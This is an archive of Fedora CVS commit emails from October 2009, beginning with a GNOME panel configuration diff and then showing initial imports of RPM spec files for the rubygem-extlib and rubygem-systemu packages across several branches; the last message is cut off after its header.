       <schema_key>/schemas/apps/panel/objects/locked</schema_key>
       <value>
-        <bool>false</bool>
+        <bool>true</bool>
       </value>
     </entry>
     <entry>
@@ -314,7 +325,7 @@
       <key>objects/email_launcher/locked</key>
       <schema_key>/schemas/apps/panel/objects/locked</schema_key>
       <value>
-        <bool>false</bool>
+        <bool>true</bool>
       </value>
     </entry>
     <entry>
@@ -361,7 +372,7 @@
       <key>applets/gnote/panel_right_stick</key>
       <schema_key>/schemas/apps/panel/objects/panel_right_stick</schema_key>
       <value>
-        <bool>true</bool>
+        <bool>false</bool>
       </value>
     </entry>
     <entry>
@@ -408,7 +419,7 @@
       <key>applets/fast_user_switch_applet/position</key>
       <schema_key>/schemas/apps/panel/objects/position</schema_key>
       <value>
-        <int>2</int>
+        <int>0</int>
       </value>
     </entry>
     <entry>
@@ -550,60 +561,6 @@
     <entry><key>applets/systray/launcher_location</key><schema_key>/schemas/apps/panel/objects/launcher_location</schema_key></entry>
     <entry><key>applets/systray/action_type</key><schema_key>/schemas/apps/panel/objects/action_type</schema_key></entry>
 
-  <!-- Show Desktop Applet -->
-
-    <entry>
-      <key>applets/show_desktop_button/object_type</key>
-      <schema_key>/schemas/apps/panel/objects/object_type</schema_key>
-      <value>
-        <string>bonobo-applet</string>
-      </value>
-    </entry>
-    <entry>
-      <key>applets/show_desktop_button/toplevel_id</key>
-      <schema_key>/schemas/apps/panel/objects/toplevel_id</schema_key>
-      <value>
-        <string>bottom_panel</string>
-      </value>
-    </entry>
-    <entry>
-      <key>applets/show_desktop_button/position</key>
-      <schema_key>/schemas/apps/panel/objects/position</schema_key>
-      <value>
-        <int>0</int>
-      </value>
-    </entry>
-    <entry>
-      <key>applets/show_desktop_button/panel_right_stick</key>
-      <schema_key>/schemas/apps/panel/objects/panel_right_stick</schema_key>
-      <value>
-        <bool>false</bool>
-      </value>
-    </entry>
-    <entry>
-      <key>applets/show_desktop_button/locked</key>
-      <schema_key>/schemas/apps/panel/objects/locked</schema_key>
-      <value>
-        <bool>true</bool>
-      </value>
-    </entry>
-    <entry>
-      <key>applets/show_desktop_button/bonobo_iid</key>
-      <schema_key>/schemas/apps/panel/objects/bonobo_iid</schema_key>
-      <value>
-        <string>OAFIID:GNOME_ShowDesktopApplet</string>
-      </value>
-    </entry>
-
-    <entry><key>applets/show_desktop_button/attached_toplevel_id</key><schema_key>/schemas/apps/panel/objects/attached_toplevel_id</schema_key> </entry>
-    <entry><key>applets/show_desktop_button/tooltip</key><schema_key>/schemas/apps/panel/objects/tooltip</schema_key></entry>
-    <entry><key>applets/show_desktop_button/use_custom_icon</key><schema_key>/schemas/apps/panel/objects/use_custom_icon</schema_key></entry>
-    <entry><key>applets/show_desktop_button/custom_icon</key><schema_key>/schemas/apps/panel/objects/custom_icon</schema_key></entry>
-    <entry><key>applets/show_desktop_button/use_menu_path</key><schema_key>/schemas/apps/panel/objects/use_menu_path</schema_key></entry>
-    <entry><key>applets/show_desktop_button/menu_path</key><schema_key>/schemas/apps/panel/objects/menu_path</schema_key></entry>
-    <entry><key>applets/show_desktop_button/launcher_location</key><schema_key>/schemas/apps/panel/objects/launcher_location</schema_key></entry>
-    <entry><key>applets/show_desktop_button/action_type</key><schema_key>/schemas/apps/panel/objects/action_type</schema_key></entry>
-
   <!-- Window List Applet -->
 
     <entry>



From mkent at fedoraproject.org  Thu Oct 15 05:43:46 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:43:46 +0000 (UTC)
Subject: rpms/rubygem-extlib/devel import.log, NONE, 1.1 rubygem-extlib.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015054346.46DDE11C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-extlib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26842/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-extlib.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
rubygem-extlib-0_9_13-4_magoazul:HEAD:rubygem-extlib-0.9.13-4.magoazul.src.rpm:1255585337


--- NEW FILE rubygem-extlib.spec ---
# Generated from extlib-0.9.13.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname extlib
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Support library for DataMapper and Merb
Name: rubygem-%{gemname}
Version: 0.9.13
Release: 4%{?dist}
Group: Development/Languages
License: MIT
URL: http://rubyforge.org/projects/extlib/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec), ruby(json)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Support library for DataMapper and Merb.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Zero bytes unfortunately
rm -f %{buildroot}%{geminstdir}/README

find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs -n 1 sed -i  -e '/^#!\/usr\/bin\/env ruby/d'
find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs chmod 0644

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
# Force success for the time being due to a possible ppc64 bug in ruby
rake spec || :

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/History.txt
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-4
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-3
- Account for possible %%check segfault on ppc64 due to possible ruby bug
  (#525989).
- Remove unsed ruby_sitelib macro and use global over define (#525989).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-2
- Only provided as a gem, dropping non gem support.

* Thu Sep 24 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:26:32 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:43:45 -0000	1.2
@@ -0,0 +1 @@
+extlib-0.9.13.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:26:32 -0000	1.1
+++ sources	15 Oct 2009 05:43:45 -0000	1.2
@@ -0,0 +1 @@
+0d521ad9606c4e249d77b8d849483e9e  extlib-0.9.13.gem



From mkent at fedoraproject.org  Thu Oct 15 05:47:18 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:47:18 +0000 (UTC)
Subject: rpms/rubygem-extlib/F-11 import.log, NONE, 1.1 rubygem-extlib.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015054718.8AC1211C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-extlib/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28013/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-extlib.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
rubygem-extlib-0_9_13-4_magoazul:F-11:rubygem-extlib-0.9.13-4.magoazul.src.rpm:1255585623


--- NEW FILE rubygem-extlib.spec ---
# Generated from extlib-0.9.13.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname extlib
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Support library for DataMapper and Merb
Name: rubygem-%{gemname}
Version: 0.9.13
Release: 4%{?dist}
Group: Development/Languages
License: MIT
URL: http://rubyforge.org/projects/extlib/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec), ruby(json)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Support library for DataMapper and Merb.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Zero bytes unfortunately
rm -f %{buildroot}%{geminstdir}/README

find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs -n 1 sed -i  -e '/^#!\/usr\/bin\/env ruby/d'
find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs chmod 0644

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
# Force success for the time being due to a possible ppc64 bug in ruby
rake spec || :

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/History.txt
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-4
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-3
- Account for possible %%check segfault on ppc64 due to possible ruby bug
  (#525989).
- Remove unsed ruby_sitelib macro and use global over define (#525989).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-2
- Only provided as a gem, dropping non gem support.

* Thu Sep 24 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:26:32 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:47:17 -0000	1.2
@@ -0,0 +1 @@
+extlib-0.9.13.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:26:32 -0000	1.1
+++ sources	15 Oct 2009 05:47:18 -0000	1.2
@@ -0,0 +1 @@
+0d521ad9606c4e249d77b8d849483e9e  extlib-0.9.13.gem



From mkent at fedoraproject.org  Thu Oct 15 05:47:51 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:47:51 +0000 (UTC)
Subject: rpms/rubygem-extlib/F-12 import.log, NONE, 1.1 rubygem-extlib.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015054751.222FD11C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-extlib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28294/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-extlib.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
rubygem-extlib-0_9_13-4_magoazul:F-12:rubygem-extlib-0.9.13-4.magoazul.src.rpm:1255585656


--- NEW FILE rubygem-extlib.spec ---
# Generated from extlib-0.9.13.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname extlib
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Support library for DataMapper and Merb
Name: rubygem-%{gemname}
Version: 0.9.13
Release: 4%{?dist}
Group: Development/Languages
License: MIT
URL: http://rubyforge.org/projects/extlib/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec), ruby(json)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Support library for DataMapper and Merb.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Zero bytes unfortunately
rm -f %{buildroot}%{geminstdir}/README

find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs -n 1 sed -i  -e '/^#!\/usr\/bin\/env ruby/d'
find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
  xargs chmod 0644

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
# Force success for the time being due to a possible ppc64 bug in ruby
rake spec || :

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/History.txt
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-4
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-3
- Account for possible %%check segfault on ppc64 due to possible ruby bug
  (#525989).
- Remove unsed ruby_sitelib macro and use global over define (#525989).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-2
- Only provided as a gem, dropping non gem support.

* Thu Sep 24 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:26:32 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:47:50 -0000	1.2
@@ -0,0 +1 @@
+extlib-0.9.13.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:26:32 -0000	1.1
+++ sources	15 Oct 2009 05:47:50 -0000	1.2
@@ -0,0 +1 @@
+0d521ad9606c4e249d77b8d849483e9e  extlib-0.9.13.gem



From mkent at fedoraproject.org  Thu Oct 15 05:51:23 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:51:23 +0000 (UTC)
Subject: rpms/rubygem-systemu/devel import.log, NONE, 1.1 license.txt, NONE, 
	1.1 rubygem-systemu.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091015055123.0E90F11C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-systemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29801/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log license.txt rubygem-systemu.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-systemu-1_2_0-3_magoazul:HEAD:rubygem-systemu-1.2.0-3.magoazul.src.rpm:1255585863


--- NEW FILE license.txt ---
for all code found under http://codeforpeople.com/lib/ or at http://rubyforge.org/projects/codeforpeople.com/

same as Ruby's

  http://www.ruby-lang.org/en/LICENSE.txt

unless otherwise noted


--- NEW FILE rubygem-systemu.spec ---
# Generated from systemu-1.2.0.gem by gem2rpm -*- rpm-spec -*-
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname systemu
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Multi-platform command execution and capture
Name: rubygem-%{gemname}
Version: 1.2.0
Release: 3%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://codeforpeople.com/lib/ruby/systemu/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
Source1: http://codeforpeople.com/lib/license.txt
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
systemu can be used on any platform to return status, stdout, and stderr of any
command.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%package -n ruby-%{gemname}
Summary: Non-Gem support package for %{gemname}
Group: Development/Languages

Requires: %{name} = %{version}-%{release}
Provides: ruby(%{gemname}) = %{version}-%{release}

%description -n ruby-%{gemname}
This package provides non-Gem support for %{gemname}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Gem doesn't ship with a LICENSE
install -m 644 -p %{SOURCE1} %{buildroot}%{geminstdir}/license.txt

# Remove some fluff
rm -f %{buildroot}%{geminstdir}/a.rb \
      %{buildroot}%{geminstdir}/install.rb \
      %{buildroot}%{geminstdir}/gen_readme.rb \
      %{buildroot}%{geminstdir}/README.tmpl

# Also ships as tar.gz with installer, so provide non-gem support
# thanks rubygem-json!
create_symlink_rec(){

ORIGBASEDIR=$1
TARGETBASEDIR=$2

## First calculate relative path of ORIGBASEDIR 
## from TARGETBASEDIR
TMPDIR=$TARGETBASEDIR
BACKDIR=
DOWNDIR=
num=0
nnum=0
while true
do
        num=$((num+1))
        TMPDIR=$(echo $TMPDIR | %{__sed} -e 's|/[^/][^/]*$||')
        DOWNDIR=$(echo $ORIGBASEDIR | %{__sed} -e "s|^$TMPDIR||")
        if [ x$DOWNDIR != x$ORIGBASEDIR ]
        then
                nnum=0
                while [ $nnum -lt $num ]
                do
                        BACKDIR="../$BACKDIR"
                        nnum=$((nnum+1))
                done
                break
        fi
done

RELBASEDIR=$( echo $BACKDIR/$DOWNDIR | %{__sed} -e 's|//*|/|g' )

## Next actually create symlink
pushd %{buildroot}/$ORIGBASEDIR
find . -type f | while read f
do
        DIRNAME=$(dirname $f)
        BACK2DIR=$(echo $DIRNAME | %{__sed} -e 's|/[^/][^/]*|/..|g')
        %{__mkdir_p} %{buildroot}${TARGETBASEDIR}/$DIRNAME
        LNNAME=$(echo $BACK2DIR/$RELBASEDIR/$f | \
                %{__sed} -e 's|^\./||' | %{__sed} -e 's|//|/|g' | \
                %{__sed} -e 's|/\./|/|' )
        %{__ln_s} -f $LNNAME %{buildroot}${TARGETBASEDIR}/$f
done
popd

}

create_symlink_rec %{geminstdir}/lib %{ruby_sitelib}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/license.txt
%doc %{geminstdir}/README
%dir %{geminstdir}
%{geminstdir}/gemspec.rb
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/samples
%{gemdir}/doc/%{gemname}-%{version}

%files -n ruby-%{gemname}
%defattr(-,root,root,-)
%{ruby_sitelib}/%{gemname}.rb

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-3
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-2
- Include a copy of the license (#525988).
- Fix license (#525988).
- Use global over define (#525988).

* Wed Sep 23 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:25:50 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:51:22 -0000	1.2
@@ -0,0 +1 @@
+systemu-1.2.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:25:50 -0000	1.1
+++ sources	15 Oct 2009 05:51:22 -0000	1.2
@@ -0,0 +1 @@
+5d7eeb75395e74683c16542c0adbb984  systemu-1.2.0.gem



From mkent at fedoraproject.org  Thu Oct 15 05:52:34 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:52:34 +0000 (UTC)
Subject: rpms/rubygem-systemu/F-11 import.log, NONE, 1.1 license.txt, NONE, 
	1.1 rubygem-systemu.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091015055234.65E4211C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-systemu/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30474/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log license.txt rubygem-systemu.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-systemu-1_2_0-3_magoazul:F-11:rubygem-systemu-1.2.0-3.magoazul.src.rpm:1255585919


--- NEW FILE license.txt ---
for all code found under http://codeforpeople.com/lib/ or at http://rubyforge.org/projects/codeforpeople.com/

same as Ruby's

  http://www.ruby-lang.org/en/LICENSE.txt

unless otherwise noted


--- NEW FILE rubygem-systemu.spec ---
# Generated from systemu-1.2.0.gem by gem2rpm -*- rpm-spec -*-
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname systemu
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Multi-platform command execution and capture
Name: rubygem-%{gemname}
Version: 1.2.0
Release: 3%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://codeforpeople.com/lib/ruby/systemu/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
Source1: http://codeforpeople.com/lib/license.txt
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
systemu can be used on any platform to return status, stdout, and stderr of any
command.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%package -n ruby-%{gemname}
Summary: Non-Gem support package for %{gemname}
Group: Development/Languages

Requires: %{name} = %{version}-%{release}
Provides: ruby(%{gemname}) = %{version}-%{release}

%description -n ruby-%{gemname}
This package provides non-Gem support for %{gemname}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Gem doesn't ship with a LICENSE
install -m 644 -p %{SOURCE1} %{buildroot}%{geminstdir}/license.txt

# Remove some fluff
rm -f %{buildroot}%{geminstdir}/a.rb \
      %{buildroot}%{geminstdir}/install.rb \
      %{buildroot}%{geminstdir}/gen_readme.rb \
      %{buildroot}%{geminstdir}/README.tmpl

# Also ships as tar.gz with installer, so provide non-gem support
# thanks rubygem-json!
create_symlink_rec(){

ORIGBASEDIR=$1
TARGETBASEDIR=$2

## First calculate relative path of ORIGBASEDIR 
## from TARGETBASEDIR
TMPDIR=$TARGETBASEDIR
BACKDIR=
DOWNDIR=
num=0
nnum=0
while true
do
        num=$((num+1))
        TMPDIR=$(echo $TMPDIR | %{__sed} -e 's|/[^/][^/]*$||')
        DOWNDIR=$(echo $ORIGBASEDIR | %{__sed} -e "s|^$TMPDIR||")
        if [ x$DOWNDIR != x$ORIGBASEDIR ]
        then
                nnum=0
                while [ $nnum -lt $num ]
                do
                        BACKDIR="../$BACKDIR"
                        nnum=$((nnum+1))
                done
                break
        fi
done

RELBASEDIR=$( echo $BACKDIR/$DOWNDIR | %{__sed} -e 's|//*|/|g' )

## Next actually create symlink
pushd %{buildroot}/$ORIGBASEDIR
find . -type f | while read f
do
        DIRNAME=$(dirname $f)
        BACK2DIR=$(echo $DIRNAME | %{__sed} -e 's|/[^/][^/]*|/..|g')
        %{__mkdir_p} %{buildroot}${TARGETBASEDIR}/$DIRNAME
        LNNAME=$(echo $BACK2DIR/$RELBASEDIR/$f | \
                %{__sed} -e 's|^\./||' | %{__sed} -e 's|//|/|g' | \
                %{__sed} -e 's|/\./|/|' )
        %{__ln_s} -f $LNNAME %{buildroot}${TARGETBASEDIR}/$f
done
popd

}

create_symlink_rec %{geminstdir}/lib %{ruby_sitelib}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/license.txt
%doc %{geminstdir}/README
%dir %{geminstdir}
%{geminstdir}/gemspec.rb
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/samples
%{gemdir}/doc/%{gemname}-%{version}

%files -n ruby-%{gemname}
%defattr(-,root,root,-)
%{ruby_sitelib}/%{gemname}.rb

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-3
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-2
- Include a copy of the license (#525988).
- Fix license (#525988).
- Use global over define (#525988).

* Wed Sep 23 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:25:50 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:52:34 -0000	1.2
@@ -0,0 +1 @@
+systemu-1.2.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:25:50 -0000	1.1
+++ sources	15 Oct 2009 05:52:34 -0000	1.2
@@ -0,0 +1 @@
+5d7eeb75395e74683c16542c0adbb984  systemu-1.2.0.gem



From mkent at fedoraproject.org  Thu Oct 15 05:53:23 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:53:23 +0000 (UTC)
Subject: rpms/rubygem-systemu/F-12 import.log, NONE, 1.1 license.txt, NONE, 
	1.1 rubygem-systemu.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091015055323.947C611C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-systemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30801/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log license.txt rubygem-systemu.spec 
Log Message:
